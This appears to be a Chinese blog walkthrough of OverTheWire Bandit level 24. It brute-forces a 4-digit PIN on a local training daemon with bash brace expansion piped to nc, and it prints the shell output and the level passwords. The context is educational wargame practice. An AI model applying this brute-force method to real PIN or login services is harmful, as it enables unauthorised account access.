当前位置: 首页 > news >正文

Wargames与bash知识16

Wargames与bash知识16

Bandit24

关卡提示:

  一个守护进程正在端口30002上侦听,如果给定bandit24的密码和一个4位数的密码,它将为您提供bandit25的密码。没有办法检索pincode,除非遍历所有10000个组合,称为暴力强制。

您不需要每次都创建新的连接

这一关用了很长的时间才获得的密码
从关卡提示来看,我第一想到的循环,其次是构建四位数0001—9999。构建数字列表我先想到的是seq命令和花括号扩展。
先在终端命令行看看效果:

bandit24@bandit:~$ seq -w 0001 0009
0001
0002
0003
0004
0005
0006
0007
0008
0009
bandit24@bandit:~$ echo {0001..0009}
0001 0002 0003 0004 0005 0006 0007 0008 0009

先用用户bandit24登录,给30002发一个字符串看看

bandit24@bandit:~$ echo "fdsafsadsf" |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Fail! You did not supply enough data. Try again.
gfffffffffffff 33
Timeout. Exiting.
bandit24@bandit:~$ gfffffffffffff 33
gfffffffffffff: command not found

获得提示:
1、 我是用户bandit25的密码检查器。请在一行中输入用户bandit24的密码和密码,并用空格分隔。
2、 连接到出现超时中间有时间间隔
3、 输入字符gfffffffffffff 33,用户输入被阻隔直到提示符出现。

我最后选择使用了花括号扩展写了一个脚本,下面是脚本内容。设置9个数字用于检测效果

bandit24@bandit:/tmp/bdit25$ cat it25
#!/bin/bashfor i in {0001..0009};doecho VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ $i |nc localhost 30002donebandit24@bandit:/tmp/bdit25$ ./it25
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.
………省略
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.

使用脚本发现效率奇低,每次循环发送一次字符,然后需等待阻塞结束才会执行下一次循环。回头看提示:有“您不需要每次都创建新的连接“提示,说明使用循环的方法不是最佳的选择。直接用echo给30002端口发送字符串会怎么样呢?

bandit24@bandit:~$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009} |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
Timeout. Exiting.

执行命令echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…0009} |nc localhost 30002后发现,给端口30002发送字符串只执行了一次。将echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…0009}输出重定向到log文件,查看log发现花括号扩展的结果是一行。

bandit24@bandit:/tmp/bdit25$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009} >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008 VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009
bandit24@bandit:/tmp/bdit25$
bandit24@bandit:/tmp/bdit25$ ls
it25  log
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009n
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008n VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009n
bandit24@bandit:/tmp/bdit25$ rm log
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..0009}\\n >>log
bandit24@bandit:/tmp/bdit25$ cat -n log1  VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00012   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00023   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00034   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00045   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00056   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00067   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00078   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 00089   VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 000910

经过测试发现:echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…9999}\n符合要求,现在尝试发送到30002端口,这次很快就获得了密码。

bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..9999}\\n |nc localhost 30002
I am the pincode checker for user bandit25. Please enter the password for user bandit24 and the secret pincode on a single line, separated by a space.
Wrong! Please enter the correct pincode. Try again.
……
Wrong! Please enter the correct pincode. Try again.
Wrong! Please enter the correct pincode. Try again.
Correct!
The password of user bandit25 is p7TaowMYrmu23Ol8hiZh9UvD0O9hpx8dExiting.
bandit24@bandit:/tmp/bdit25$ 

其他尝试,使用echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001…9999}\n重定向一个文件,然后将文件内容发送至30002。虽然理论可行,但我在服务器没有实现,提示Wrong的错误到一定行数就像停止了一样。

bandit24@bandit:~$ cd /tmp/bdit25
bandit24@bandit:/tmp/bdit25$ echo -e VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar\ {0001..9999}\\n >>zidian
bandit24@bandit:/tmp/bdit25$ head zidian
VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0001VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0002VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0003VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0004VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0005VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0006VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0007VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0008VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0009VAfGXJ1PBSsPSnvsjI8p759leLZ9GGar 0010

相关文章:

Wargames与bash知识16

Wargames与bash知识16 Bandit24 关卡提示: 一个守护进程正在端口30002上侦听,如果给定bandit24的密码和一个4位数的密码,它将为您提供bandit25的密码。没有办法检索pincode,除非遍历所有10000个组合,称为暴力强制。您…...

关于运维·关于数据库面试题

目录 一、数据库类型 二、数据库引擎 三、mysql数据库类型 四、mysql的约束添加 五、主从复制原理 六、主从方式有几种 七、mysql主从数据不一致的原因 八、mysql的优化 九、什么是事务的特征 十、数据库读写分离的好处 十一、怎样优化sql语句 十二、mysql的同步方…...

MySQL题目示例

文章目录 1.题目示例 1.题目示例 09)查询学过「张三」老师授课的同学的信息 SELECT s.*, c.cname, t.tname, sc.score FROM t_mysql_teacher t, t_mysql_course c, t_mysql_student s, t_mysql_score sc WHERE t.tid c.tid AND c.cid sc.cid AND sc.sid s.sid …...

HTML基本语法

HTML基本语法 1.介绍: 1.1超文本: 指的是网页中可以显示的内容(图片,超链接,视频…) 1.2标记:标签(通过标记符号来告诉浏览器网页内容该如何显示) 标记语言中,提供了许多的标签,不同的标签…...

二分图最大匹配——匈牙利算法详解

文章目录 零、前言一、红娘牵线二、二分图最大匹配2.1概念2.2交替路2.3增广路2.4匈牙利算法2.4.1算法原理2.4.2算法示例2.4.3代码实现 3.OJ练习3.1模板3.2棋盘覆盖3.3車的放置 零、前言 关于二分图的基本知识见:二分图及染色法判定 一、红娘牵线 一位红娘近日遇到一…...

【AI视野·今日Robot 机器人论文速览 第七十一期】Fri, 5 Jan 2024

AI视野今日CS.Robotics 机器人学论文速览 Fri, 5 Jan 2024 Totally 11 papers 👉上期速览✈更多精彩请移步主页 Daily Robotics Papers Machine Learning in Robotic Ultrasound Imaging: Challenges and Perspectives Authors Yuan Bi, Zhongliang Jiang, Felix D…...

xtu oj 1334 Least Common Multiple

题目描述 一个集合,任取3个不同的元素,求其最小公倍数中最小的值是多少? 输入 第一行是样例数T(1≤T≤100)。 每个样例的第一行是一个整数n(3≤n≤50),表示集合元素的个数。 每个样例的第二行是n个整数a1,a2,…,an,1≤ai≤106。…...

【论文笔记】End-to-End Diffusion Latent Optimization Improves Classifier Guidance

Abstract Classifier guidance为图像生成带来了控制,但是需要训练新的噪声感知模型(noise-aware models)来获得准确的梯度,或使用最终生成的一步去噪近似,这会导致梯度错位(misaligned gradients)和次优控制(sub-optimal control)。 梯度错位…...

【HarmonyOS4.0】第四篇-ArkUI基础实战

一、ArkUI框架简介 ArkUI开发框架是方舟开发框架的简称,它是一套构建 HarmonyOS / OpenHarmony 应用界面的声明式UI开发框架,它使用极简的UI信息语法、丰富的UI组件以及实时界面语言工具,帮助开发者提升应用界面开发效率 30%,开发…...

每日一题——LeetCode1128.等价多米诺骨牌对的数量

先尝试暴力解法&#xff1a; var numEquivDominoPairs function(dominoes) {var count0for(let i0;i<dominoes.length-1;i){for(let ji1;j<dominoes.length;j){if((dominoes[i][0]dominoes[j][0] && dominoes[i][1]dominoes[j][1]) || (dominoes[i][0]dominoes…...

关联规则分析(Apriori算法2

目录 1.核心术语&#xff1a;2.强关联规则&#xff1a;小结&#xff1a; 1.核心术语&#xff1a; 支持度&#xff08;Support&#xff09;&#xff1a;指项集出现的频繁程度&#xff08;相当于项集出现的概率&#xff09; 最小支持度有绝对值和占比两种表示方式 置信度&#…...

数据仓库(2)-认识数仓

1、数据仓库是什么 数据仓库 &#xff0c;由数据仓库之父比尔恩门&#xff08;Bill Inmon&#xff09;于1990年提出&#xff0c;主要功能仍是将组织透过资讯系统之联机事务处理(OLTP)经年累月所累积的大量资料&#xff0c;透过数据仓库理论所特有的资料储存架构&#xff0c;做…...

C#编程-实现委托

实现委托 委托是可以存储对方法的引用的对象。在C#中,委托允许您动态地改变类中方法的引用。 考虑咖啡售货机的示例,它配置不同口味的咖啡,例如卡布奇诺咖啡和黑咖啡。在选择所需口味的咖啡时,售货机决定混合各种成分,例如奶粉、咖啡粉、热水、卡布奇诺咖啡粉。所有的材…...

Ubuntu18.04 Qt 实现MQTT

什么是MQTT&#xff1f; 作用是什么&#xff08;适用场景&#xff09;&#xff1f; 与其他通讯协议相比&#xff0c;优缺点在那里&#xff1f; 一.安装 MQTT 服务器 使用 EMQ X&#xff08;开源且可视化管理&#xff09; 下载 EMQX 下载的是 emqx-5.0.26-ubuntu18.04-…...

【软件测试】学习笔记-不同视角的软件性能与性能指标

本篇文章探讨新的测试主题&#xff1a;性能测试&#xff0c;因为性能测试的专业性很强&#xff0c;所以我会以从0到1的入门者视角&#xff0c;系统性地阐述性能测试的方法以及应用领域&#xff0c;用实例去诠释各种性能指标。 本篇文章站在全局的视角&#xff0c;帮你梳理软件性…...

Spring MVC组件

1.DispatcherServlet前端控制器 用户请求到达前端控制器&#xff0c;它就相当于mvc模式中的c&#xff0c;dispatcherServlet 是整个流程控制的中心&#xff0c;由它调用其它组件处理用户的请求&#xff0c;dispatcherServlet 的存在降低了组件之间的耦合性。 2.HandlerMappin…...

vue文件在<template>中使用多个<el-main>报错(已解决)

目录 1.原理 2. 根据你的需求&#xff0c;自定义每个 组件的内容。你可以在 标签内部插入文本、其他组件、样式等。 3. 根据需要添加样式或其他属性到每个 组件。你可以使用 class、style 或其他属性来自定义每个组件的外观和行为。 4.一个可以运行的总代码如下 5.我的一…...

【PlantUML】- 时序图

写在前面 本篇文章&#xff0c;我们来介绍一下PlantUML的时序图。这个相对类图来讲&#xff0c;比较简单&#xff0c;也不需要布局。读完文章&#xff0c;相信你就能实际操作了。 目录 写在前面一、基本概念二、具体步骤1.环境说明2.元素3.语法4.示例 三、参考资料写在后面系列…...

openai自定义API操作 API (openai.custom):OpenAI API 实现电商平台的智能库存管理

在电商行业中&#xff0c;库存管理是至关重要的环节之一。一个高效的库存管理系统可以确保商品的正常供应&#xff0c;避免缺货或积压现象&#xff0c;从而提高销售效率和客户满意度。然而&#xff0c;传统的库存管理方式往往存在一些问题&#xff0c;如数据不准确、响应不及时…...

宠物服务新篇章:预约小程序带来的变革

随着科技的进步和互联网的普及&#xff0c;小程序已经成为了一种非常受欢迎的应用形式。对于宠物门店来说&#xff0c;开发一个预约小程序可以大大提高客户体验和管理效率。下面是一份宠物门店预约小程序的开发指南。 浏览器搜索乔拓云&#xff0c;登录乔拓云网后台&#xff0c…...

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇&#xff0c;在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下&#xff1a; 【Note】&#xff1a;如果你已经完成安装等操作&#xff0c;可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作&#xff0c;重…...

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周&#xff0c;有很多同学在写期末Java web作业时&#xff0c;运行tomcat出现乱码问题&#xff0c;经过多次解决与研究&#xff0c;我做了如下整理&#xff1a; 原因&#xff1a; IDEA本身编码与tomcat的编码与Windows编码不同导致&#xff0c;Windows 系统控制台…...

(十)学生端搭建

本次旨在将之前的已完成的部分功能进行拼装到学生端&#xff0c;同时完善学生端的构建。本次工作主要包括&#xff1a; 1.学生端整体界面布局 2.模拟考场与部分个人画像流程的串联 3.整体学生端逻辑 一、学生端 在主界面可以选择自己的用户角色 选择学生则进入学生登录界面…...

DockerHub与私有镜像仓库在容器化中的应用与管理

哈喽&#xff0c;大家好&#xff0c;我是左手python&#xff01; Docker Hub的应用与管理 Docker Hub的基本概念与使用方法 Docker Hub是Docker官方提供的一个公共镜像仓库&#xff0c;用户可以在其中找到各种操作系统、软件和应用的镜像。开发者可以通过Docker Hub轻松获取所…...

基于uniapp+WebSocket实现聊天对话、消息监听、消息推送、聊天室等功能,多端兼容

基于 ​UniApp + WebSocket​实现多端兼容的实时通讯系统,涵盖WebSocket连接建立、消息收发机制、多端兼容性配置、消息实时监听等功能,适配​微信小程序、H5、Android、iOS等终端 目录 技术选型分析WebSocket协议优势UniApp跨平台特性WebSocket 基础实现连接管理消息收发连接…...

3403. 从盒子中找出字典序最大的字符串 I

3403. 从盒子中找出字典序最大的字符串 I 题目链接&#xff1a;3403. 从盒子中找出字典序最大的字符串 I 代码如下&#xff1a; class Solution { public:string answerString(string word, int numFriends) {if (numFriends 1) {return word;}string res;for (int i 0;i &…...

JVM虚拟机:内存结构、垃圾回收、性能优化

1、JVM虚拟机的简介 Java 虚拟机(Java Virtual Machine 简称:JVM)是运行所有 Java 程序的抽象计算机,是 Java 语言的运行环境,实现了 Java 程序的跨平台特性。JVM 屏蔽了与具体操作系统平台相关的信息,使得 Java 程序只需生成在 JVM 上运行的目标代码(字节码),就可以…...

iOS性能调优实战:借助克魔(KeyMob)与常用工具深度洞察App瓶颈

在日常iOS开发过程中&#xff0c;性能问题往往是最令人头疼的一类Bug。尤其是在App上线前的压测阶段或是处理用户反馈的高发期&#xff0c;开发者往往需要面对卡顿、崩溃、能耗异常、日志混乱等一系列问题。这些问题表面上看似偶发&#xff0c;但背后往往隐藏着系统资源调度不当…...

JS手写代码篇----使用Promise封装AJAX请求

15、使用Promise封装AJAX请求 promise就有reject和resolve了&#xff0c;就不必写成功和失败的回调函数了 const BASEURL ./手写ajax/test.jsonfunction promiseAjax() {return new Promise((resolve, reject) > {const xhr new XMLHttpRequest();xhr.open("get&quo…...

免费数学几何作图web平台

光锐软件免费数学工具&#xff0c;maths,数学制图&#xff0c;数学作图&#xff0c;几何作图&#xff0c;几何&#xff0c;AR开发,AR教育,增强现实,软件公司,XR,MR,VR,虚拟仿真,虚拟现实,混合现实,教育科技产品,职业模拟培训,高保真VR场景,结构互动课件,元宇宙http://xaglare.c…...